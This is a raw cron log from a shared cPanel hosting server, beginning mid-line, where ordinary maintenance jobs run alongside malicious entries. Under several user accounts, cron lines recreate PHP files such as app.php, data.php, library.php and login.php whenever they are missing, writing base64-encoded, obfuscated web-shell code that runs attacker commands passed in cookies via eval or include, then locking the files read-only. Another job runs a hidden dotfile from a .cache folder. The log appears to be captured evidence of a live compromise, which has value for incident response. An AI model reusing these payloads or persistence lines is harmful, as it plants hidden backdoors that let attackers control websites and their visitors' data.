SkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:34:02 medusa CROND[12472]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:34:02 medusa CROND[12477]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:34:02 medusa CROND[12476]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:34:02 medusa CROND[12479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:34:02 medusa CROND[12482]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:34:02 medusa CROND[12483]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:34:02 medusa CROND[12486]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:35:02 medusa CROND[4804]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 12:35:02 medusa CROND[4945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:35:02 medusa CROND[4946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:35:02 medusa CROND[4947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 12:35:02 medusa CROND[4948]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:35:02 medusa CROND[4949]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:35:02 medusa CROND[4950]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:35:02 medusa CROND[4954]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:35:02 medusa CROND[4955]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:35:02 medusa CROND[4958]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:35:02 medusa CROND[4966]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:35:02 medusa CROND[4968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:35:02 medusa CROND[4969]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:35:02 medusa CROND[4971]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:35:02 medusa CROND[4972]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:35:02 medusa CROND[4975]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 12:35:02 medusa CROND[4979]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:35:02 medusa CROND[4981]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:35:02 medusa CROND[4983]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:35:02 medusa CROND[4985]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:35:02 medusa CROND[4986]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:35:02 medusa CROND[4989]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:35:02 medusa CROND[4974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:35:02 medusa CROND[4984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:35:02 medusa CROND[4976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:36:01 medusa CROND[29450]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:36:01 medusa CROND[29451]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:36:01 medusa CROND[29452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:36:01 medusa CROND[29454]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:36:01 medusa CROND[29455]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:36:01 medusa CROND[29453]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:36:01 medusa CROND[29456]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:36:01 medusa CROND[29459]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:36:01 medusa CROND[29460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:36:01 medusa CROND[29466]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:36:01 medusa CROND[29476]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
